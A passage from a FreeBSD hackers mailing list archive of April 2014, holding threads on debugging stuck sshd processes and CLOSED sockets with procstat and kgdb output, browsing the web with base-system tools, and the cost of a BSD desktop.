3935 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) > 4338 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) > 4339 - Z 0:00.00 | | |-- > 4340 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) > 4341 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) > 4342 - Z 0:00.00 | | |-- > 4343 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) > 4344 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) > 4345 - Z 0:00.00 | | |-- > 4346 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) > ... > > #netstat -a -n | grep CLOSED | wc -l > 59 > > #netstat -a | grep 54544 > tcp4 0 0 192.168.0.138.22 192.168.0.45.54544 CLOSED > > #sockstat | grep 4343 > root sshd 4343 3 tcp4 192.168.0.138:22 192.168.0.45:54544 > root sshd 4343 6 stream (not connected) > root sshd 4343 8 stream -> ?? > > #uname -a > FreeBSD host 10.0-STABLE FreeBSD 10.0-STABLE #0 r261289M: Thu Jan 30 > 13:33:35 UTC 2014 x@domain.com:/usr/src/sys/amd64/compile/GENERIC amd64 > " > > For a box that's doing nothing (apart from people ssh'ing in occasionally) > - there's obviously something wrong. > > What would be next to try and figure out why this is happening? - as I'd > dearly like to know what's causing it / a fix (or if it's already fixed in > -STABLE, and at which revision) > > Thanks, > > -Karl I don't know anything about the underlying cause of the stuck sockets or zombies, but I suspect the thing that triggered the appearance of the problem was the import of a newer openssh in which the UsePrivilegeSeparation option default changed to "Sandbox" (or maybe that was just a new option with the new version). I think of this possibility because the extra child forked off with that option exposed some kernel memory-management problems on the arm platform a few months ago. That may imply that adding "UsePrivilegeSeparation no" could be a workaround for anyone having severe problems with this on a production server, but it should in no way become mythology that doing this somehow "fixes" a problem -- it would be purely a workaround, and we should keep pursuing the actual problem. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 15:16:41 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D4CDAA2C; Wed, 2 Apr 2014 15:16:41 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 7A5A0D62; Wed, 2 Apr 2014 15:16:41 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s32FGeQC099913 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Apr 2014 16:16:40 +0100 (BST) Date: Wed, 02 Apr 2014 16:16:39 +0100 From: Karl Pielorz To: Ian Lepore Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <5AF977E21700940D62541596@Mail-PC.tdx.co.uk> In-Reply-To: <1396449673.81853.264.camel@revolution.hippie.lan> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <1396449673.81853.264.camel@revolution.hippie.lan> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 15:16:41 -0000 --On 02 April 2014 08:41 -0600 Ian Lepore wrote: > That may imply that adding "UsePrivilegeSeparation no" could be a > workaround for anyone having severe problems with this on a production > server, but it should in no way become mythology that doing this somehow > "fixes" a problem -- it would be purely a workaround, and we should keep > pursuing the actual problem. Thanks for the reply, I'll see if I can setup another system (same source/kernel etc.) - but with that option set, and see if that does indeed workaround the issue. I'll leave the original system 'as-is' to run any further troubleshooting stuff against it. -Karl From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 15:58:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6DE23D80 for ; Wed, 2 Apr 2014 15:58:21 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 45C0D262 for ; Wed, 2 Apr 2014 15:58:21 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id CAD1FB924; Wed, 2 Apr 2014 11:58:19 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Wed, 2 Apr 2014 11:30:39 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> In-Reply-To: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404021130.39478.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 02 Apr 2014 11:58:19 -0400 (EDT) Cc: Karl Pielorz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 15:58:21 -0000 On Wednesday, April 02, 2014 10:30:06 am Karl Pielorz wrote: > > Hi All, > > This issue started in -xen (subject: *Stuck sshd in urdlck), moved to > -stable (subject: sshd with zombie process on FreeBSD 10.0-STABLE), and > -net (subject: Server sockets staying in CLOSED for extended), but seems to > have died a death in all of them. > > It's affecting a number of people - predominately with sshd. > > Does anyone know how I can troubleshoot this further, what the cause / fix > is, or if it's already actually fixed? > > " > # ps ax | grep 4344 > ps axl | grep 4344 > 0 4344 895 0 20 0 84868 6944 urdlck Is - 0:00.01 sshd: unknown > [priv] (sshd) Can you get 'procstat -k 4344' to see where this process is stuck? > 22 4345 4344 0 20 0 0 0 - Z - 0:00.00 > 0 4346 4344 0 21 0 84868 6952 sbwait I - 0:00.00 sshd: unknown > [pam] (sshd) 'procstat -f' and 'procstat -k' for this process might also be useful. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 16:03:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7808BEF1 for ; Wed, 2 Apr 2014 16:03:03 +0000 (UTC) Received: from mail-qg0-x231.google.com (mail-qg0-x231.google.com [IPv6:2607:f8b0:400d:c04::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 363C7329 for ; Wed, 2 Apr 2014 16:03:03 +0000 (UTC) Received: by mail-qg0-f49.google.com with SMTP id e89so402375qgf.36 for ; Wed, 02 Apr 2014 09:03:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:from:content-type:message-id:date:to :content-transfer-encoding:mime-version; bh=rudTgXKFoTJ9TQheRy1JqfDp02z0878+pqFznoOh/WE=; b=dhMYO9mTMcEZkjAr9QdBFbv2DBX5GPz7vc/+AIigq216W5aDv10bQPGuCg2I/fYlqb tFe1hqeuSWPHHKA77oFpFMOByMapRe85bqTr1J8y5XqnH1yp204csFWmO6bin1xESRtd WQbngirxEOKcoXAAKz1w/BpdMzukpL5KvBk2KANuWbqvUZ098e1XmyXORhy8OiPiLeyE S3UvBx3BWCpm84RG3ilgldH1/B+1R9tYyDKijzEn8LhYmhHc6cKZKAZxK7/Xh7BwF2Zo KUyVoHhVTOhTaLTBFR8lDSc4DJZNbUZ0M3SUzXzMKmAEtcbM7INwFU6rfvrL3UA8C5Bd lezg== X-Received: by 10.140.108.2 with SMTP id i2mr1556308qgf.80.1396454580331; Wed, 02 Apr 2014 09:03:00 -0700 (PDT) Received: from [153.104.59.180] ([153.104.59.180]) by mx.google.com with ESMTPSA id x8sm4573967qam.20.2014.04.02.09.02.58 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 02 Apr 2014 09:02:58 -0700 (PDT) Subject: Web browsing usage from base From: Brian Kim X-Mailer: iPhone Mail (11B651) Content-Type: text/plain; charset=us-ascii Received: from [153.104.59.180] ([153.104.59.180]) by mx.google.com with ESMTPSA id s13sm4458580qag.19.2014.04.02.08.37.53 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 02 Apr 2014 08:37:54 -0700 (PDT) Message-Id: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> Date: Wed, 2 Apr 2014 12:02:58 -0400 To: freebsd-hackers@freebsd.org Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 16:03:03 -0000 Would anyone like to share their best approach to browsing the web only usin= g utilities from a base install?=20 Best, bk From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 16:47:39 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A1BCC2C; Wed, 2 Apr 2014 16:47:39 +0000 (UTC) Received: from mail-pa0-x22e.google.com (mail-pa0-x22e.google.com [IPv6:2607:f8b0:400e:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 02359A3B; Wed, 2 Apr 2014 16:47:38 +0000 (UTC) Received: by mail-pa0-f46.google.com with SMTP id kx10so447359pab.33 for ; Wed, 02 Apr 2014 09:47:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:sender:in-reply-to:references:date:message-id :subject:from:to:cc:content-type:content-transfer-encoding; bh=iEXziXUEZMKsPv/XzNeULF+VrT1Zyqffc6u6rTniTXA=; b=DDBF5bnh2213xNAjeGdRnzfpjMbFO/hEWIUI8cjmRvHvf31R/jhjLC++WF9miYD95x biFF7wu6kHhDN+gk7cdAEu1F961FCAUz3Eux0rBCJemcUvp3InDVXxT5DmqZfuxJQoUi 7ljgpegCz6rodAoW7Jop9I0dmZN+bNwJH1Pbh9WfTG8zdf4WSLP6FFtN7KUw35h9KAqB iPbyTzw9/8NRZEMNkQoTrzUBj2D2TNH7jlNjV1RMGoVt+lVMfs9VOkPoU5/+/sVvLIcB hnsPD+CC+bR/qaCdk1rdxeW5CV3yp/Qdi6fW2Crmgub3+Rsez8YJ2Teqr5VQcbHO/Lt6 hpeg== MIME-Version: 1.0 X-Received: by 10.66.150.69 with SMTP id ug5mr1165840pab.55.1396457258612; Wed, 02 Apr 2014 09:47:38 -0700 (PDT) Sender: mattjeet@gmail.com Received: by 10.70.132.228 with HTTP; Wed, 2 Apr 2014 09:47:38 -0700 (PDT) In-Reply-To: <7217E584-D21A-4C50-96EB-ED280575BFFD@ixsystems.com> References: <7217E584-D21A-4C50-96EB-ED280575BFFD@ixsystems.com> Date: Wed, 2 Apr 2014 09:47:38 -0700 X-Google-Sender-Auth: YS_SUJZF2V3aenikv2KvjcRXAIo Message-ID: Subject: Re: Leaving the Desktop Market From: Matt Olander To: Jordan Hubbard Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: matt@ixsystems.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 16:47:39 -0000 On Wed, Apr 2, 2014 at 5:24 AM, Jordan Hubbard wrote: > > On Apr 1, 2014, at 10:11 PM, Matt Olander wrote: > >> This is like trying to predict automobile technology and dominant >> car-makers by 1905. There's always room for competition. Take a look >> at what's happening right now in the auto-industry. Tesla came out of >> nowhere 125 years after the invention of the automobile and is doing >> pretty well. > > I think you're kind of making my point for me, Matt. :-) > > Tesla benefitted entirely from deep pockets on the part of its investors.= Over $160M went into starting the company, of which $70M came from the pe= rsonal checking account of Elon Musk, the current visionary and CEO, and to= quote the wikipedia page: "Tesla Motors is a public company that trades o= n the NASDAQ stock exchange under the symbol TSLA.[5] In the first quarter = of 2013, Tesla posted profits for the first time in its ten year history." > > Yep, in other words, Tesla has been losing money for over 10 years and on= ly just started turning a profit, after raising a "mere" $187M in investmen= t and $485M in loans from the US DOE. Your tax dollars at work! On top o= f all that Tesla has only managed to make money at all by focusing exclusiv= ely the highest end of the luxury car market, where profit margins are also= the highest (the first car, the roadster, would set you back $110,000). > > Getting back to computer operating systems, it would make most readers of= these lists choke on their Doritos to know how much Apple had to invest in= Mac OS X before it became a viable desktop operating system and of course = you've already seen folks screaming about how Apple gear is too expensive a= nd they'll never buy it. > > You just don't get a consumer-grade desktop Unix OS, or a practical all-e= lectric sedan, without serious monetary investment and a luxury marquee to = match, assuming you'd like to actually make any of that money *back*. > > So, back to BSD on the desktop. Anyone got a spare $200M they'd like to= just throw away? That's what it's going to take! :) > > Don't believe me? Go ask someone who knows first-hand then. Ask Mark Sh= uttleworth: http://arstechnica.com/information-technology/2013/08/why-ubun= tus-creator-still-invests-his-fortune-in-an-unprofitable-company/ > Yeah, no doubt it will cost a bit of money to compete on that level. However, have you ever heard the phrase pioneers suffer where settlers prosper? Meaning it may (or may not!) take significantly less to compete once a lot of the harder problems are solved. If we take the fact that PCs are on the decline but device adoption is on the rise, perhaps we could focus on an Android competitor (*cough* Cyb0rg *cough). Wouldn't it be possible to run Android apps on *BSD via a java vm? I will get you an Ubuntu phone for Christmas and we can try it :P -matt P.S., I do not have 200 million but I'm good for 10k :P From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 16:55:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9760E616; Wed, 2 Apr 2014 16:55:45 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 23D26B1F; Wed, 2 Apr 2014 16:55:44 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s32GthqA008751 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Apr 2014 17:55:43 +0100 (BST) Date: Wed, 02 Apr 2014 17:55:43 +0100 From: Karl Pielorz To: John Baldwin , freebsd-hackers@freebsd.org Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: In-Reply-To: <201404021130.39478.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404021130.39478.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 16:55:45 -0000 --On 2 April 2014 11:30:39 -0400 John Baldwin wrote: >> # ps ax | grep 4344 >> ps axl | grep 4344 >> 0 4344 895 0 20 0 84868 6944 urdlck Is - 0:00.01 sshd: >> unknown [priv] (sshd) > > Can you get 'procstat -k 4344' to see where this process is stuck? Sure, " # procstat -k 4344 PID TID COMM TDNAME KSTACK 4344 100068 sshd - mi_switch sleepq_catch_signals sleepq_wait_sig _sleep umtxq_sleep do_rw_rdlock __umtx_op_rw_rdlock amd64_syscall Xfast_syscall " >> 22 4345 4344 0 20 0 0 0 - Z - 0:00.00 >> 0 4346 4344 0 21 0 84868 6952 sbwait I - 0:00.00 sshd: >> unknown [pam] (sshd) > > 'procstat -f' and 'procstat -k' for this process might also be useful. Ok, think you mean PID 4346? " # procstat -f 4346 PID COMM FD T V FLAGS REF OFFSET PRO NAME 4346 sshd text v r r------- - - - /usr/sbin/sshd 4346 sshd cwd v d r------- - - - / 4346 sshd root v d r------- - - - / 4346 sshd 0 v c rw------ 6 0 - /dev/null 4346 sshd 1 v c rw------ 6 0 - /dev/null 4346 sshd 2 v c rw------ 6 0 - /dev/null 4346 sshd 3 s - rw---n-- 2 0 TCP 192.168.0.138:22 192.168.0.45:54588 4346 sshd 5 p - rw------ 2 0 - - 4346 sshd 6 s - rw------ 2 0 UDS - 4346 sshd 7 p - rw------ 1 0 - - 4346 sshd 8 s - rw------ 2 0 UDS - " " # procstat -k 4346 PID TID COMM TDNAME KSTACK 4346 100100 sshd - mi_switch sleepq_catch_signals sleepq_wait_sig _sleep sbwait soreceive_generic dofileread kern_readv sys_read amd64_syscall Xfast_syscall " In case it's relevant, one of the -xen guys originally said "It seems like the process is stuck while trying to acquire a rw mutex in read mode." [from when I thought it might be a -xen issue, which it's obviously not] If you want / need any more stuff running - let me know, -Karl From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 18:12:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 39DE9295 for ; Wed, 2 Apr 2014 18:12:15 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 12DD43E4 for ; Wed, 2 Apr 2014 18:12:15 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id A3005B9A6; Wed, 2 Apr 2014 14:12:13 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Wed, 2 Apr 2014 14:05:56 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404021130.39478.jhb@freebsd.org> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404021405.56878.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 02 Apr 2014 14:12:13 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 18:12:15 -0000 On Wednesday, April 02, 2014 12:55:43 pm Karl Pielorz wrote: > > --On 2 April 2014 11:30:39 -0400 John Baldwin wrote: > > >> # ps ax | grep 4344 > >> ps axl | grep 4344 > >> 0 4344 895 0 20 0 84868 6944 urdlck Is - 0:00.01 sshd: > >> unknown [priv] (sshd) > > > > Can you get 'procstat -k 4344' to see where this process is stuck? > > Sure, > > " > # procstat -k 4344 > PID TID COMM TDNAME KSTACK > 4344 100068 sshd - mi_switch > sleepq_catch_signals sleepq_wait_sig _sleep umtxq_sleep do_rw_rdlock > __umtx_op_rw_rdlock amd64_syscall Xfast_syscall > " Yes, that is waiting on a pthread read lock as the Xen guys noted. > >> 22 4345 4344 0 20 0 0 0 - Z - 0:00.00 > >> 0 4346 4344 0 21 0 84868 6952 sbwait I - 0:00.00 sshd: > >> unknown [pam] (sshd) > > > > 'procstat -f' and 'procstat -k' for this process might also be useful. > > Ok, think you mean PID 4346? > > " > # procstat -f 4346 > PID COMM FD T V FLAGS REF OFFSET PRO NAME > 4346 sshd text v r r------- - - - /usr/sbin/sshd > 4346 sshd cwd v d r------- - - - / > 4346 sshd root v d r------- - - - / > 4346 sshd 0 v c rw------ 6 0 - /dev/null > 4346 sshd 1 v c rw------ 6 0 - /dev/null > 4346 sshd 2 v c rw------ 6 0 - /dev/null > 4346 sshd 3 s - rw---n-- 2 0 TCP 192.168.0.138:22 > 192.168.0.45:54588 > 4346 sshd 5 p - rw------ 2 0 - - > 4346 sshd 6 s - rw------ 2 0 UDS - > 4346 sshd 7 p - rw------ 1 0 - - > 4346 sshd 8 s - rw------ 2 0 UDS - > " > > " > # procstat -k 4346 > PID TID COMM TDNAME KSTACK > 4346 100100 sshd - mi_switch > sleepq_catch_signals sleepq_wait_sig _sleep sbwait soreceive_generic > dofileread kern_readv sys_read amd64_syscall Xfast_syscall > " Grr, I guess that's what I should have expected. Was sort of hoping to be able to see which socket it was blocked on. Can you run 'kgdb' as root (no args), then do 'proc 4346' and 'bt'? If you are familiar with gdb, walk up to the frame that in sys_read and do 'p *uap' so we can see which fd is being read. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 02:00:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5B070D95 for ; Thu, 3 Apr 2014 02:00:36 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 2E65B7FF for ; Thu, 3 Apr 2014 02:00:35 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s3320Wck043449 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 2 Apr 2014 19:00:34 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <533CC0B9.9000907@freebsd.org> Date: Thu, 03 Apr 2014 10:00:25 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Brian Kim , freebsd-hackers@freebsd.org Subject: Re: Web browsing usage from base References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> In-Reply-To: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 02:00:36 -0000 On 4/3/14, 12:02 AM, Brian Kim wrote: > Would anyone like to share their best approach to browsing the web only using utilities from a base install? > > Best, > bk > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > well 'fetch' would probably be involved to get the page downloaded, but you'd have to find something to interpret the html and I don't know of anything that can do that.. From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 03:43:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3DC3AC07 for ; Thu, 3 Apr 2014 03:43:58 +0000 (UTC) Received: from nm31-vm7.bullet.mail.bf1.yahoo.com (nm31-vm7.bullet.mail.bf1.yahoo.com [72.30.239.15]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DC26785 for ; Thu, 3 Apr 2014 03:43:57 +0000 (UTC) Received: from [66.196.81.172] by nm31.bullet.mail.bf1.yahoo.com with NNFMP; 03 Apr 2014 03:41:28 -0000 Received: from [98.139.213.10] by tm18.bullet.mail.bf1.yahoo.com with NNFMP; 03 Apr 2014 03:41:28 -0000 Received: from [127.0.0.1] by smtp110.mail.bf1.yahoo.com with NNFMP; 03 Apr 2014 03:41:28 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1396496488; bh=xWr3yOCne2Yk5xmkHk8lZo3HPeAMrk6V5c63XzRx/mE=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Content-Type:Content-Transfer-Encoding:Subject:References:From:In-Reply-To:Message-Id:Date:To:Mime-Version:X-Mailer; b=k86Yx9R3fNHfp4/gryh/itpTxPPt8UQlTBlJUMofqKv/qmOUY9OI6HFDUJo+29uD+hNKU9K1f9GvcnIyRa3bqb4i5mcWZRyV94Eq2e6RS4jq4XXxybZzjZw2ffs1gwMz8XQX1sNTJhSmS0sbsVGb9Xkz4R+bUhjzGgSg8Nwbfsg= X-Yahoo-Newman-Id: 952399.19077.bm@smtp110.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: zsZs0YUVM1nXjE6351aEimO4qeNHrXD7ofpP.dUozkkdsm4 V4ChvPTiEZ1RQQ7DDVWOOeOJ0d04lWM2N3ELloacuvv3lmoILmOXjRAKcn0J jgLypodlgH1TD.15zma6hHo1tcsj5mMTP3EXKyiO9LpsDXregZQ5TNWGRTyC hGCBRuLfI1XsqQQ3cPNIWy9uK5foFPWA9cqucFWSBLYGiL6si.lODaW2LAsu zSMkkBWKCAl78KpKfEWEkwg_CDwAswAhMyy23wqeRJODZiS9skDnEwJpC1Sn CDvtOBjyqIm90hOHE4gxLDi0gizxzQKuKYlHl6mADRlDB3JB75qgts6wLlxv K6LB3uxpXJjMTM6wySqDXx6hMD11K5jNaWXXzE3Lb0wJAyXcupAO99bza8s1 jpnbBOI8AIrM58nkP0lB4Re1laN54wLDuMvyRpWdL5hru17jcxRQMJ8y8OrV 10m8TLr05ui5ABXEUQSe.39KizlcIlMDFoLpm653AVbpHyMpTSIIbp7RgF4O VNw-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.223.118.146] (free7by@117.136.24.199 with xymcookie [106.10.149.123]) by smtp110.mail.bf1.yahoo.com with SMTP; 02 Apr 2014 20:41:28 -0700 PDT Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Web browsing usage from base References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> <533CC0B9.9000907@freebsd.org> From: by In-Reply-To: <533CC0B9.9000907@freebsd.org> Message-Id: Date: Thu, 3 Apr 2014 11:40:39 +0800 To: "freebsd-hackers@freebsd.org" Mime-Version: 1.0 (1.0) X-Mailer: iPhone Mail (11D169) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 03:43:58 -0000 Hi, I think for a CLI web browser, w3m is a good choice. - by From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 04:13:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 134F172; Thu, 3 Apr 2014 04:13:01 +0000 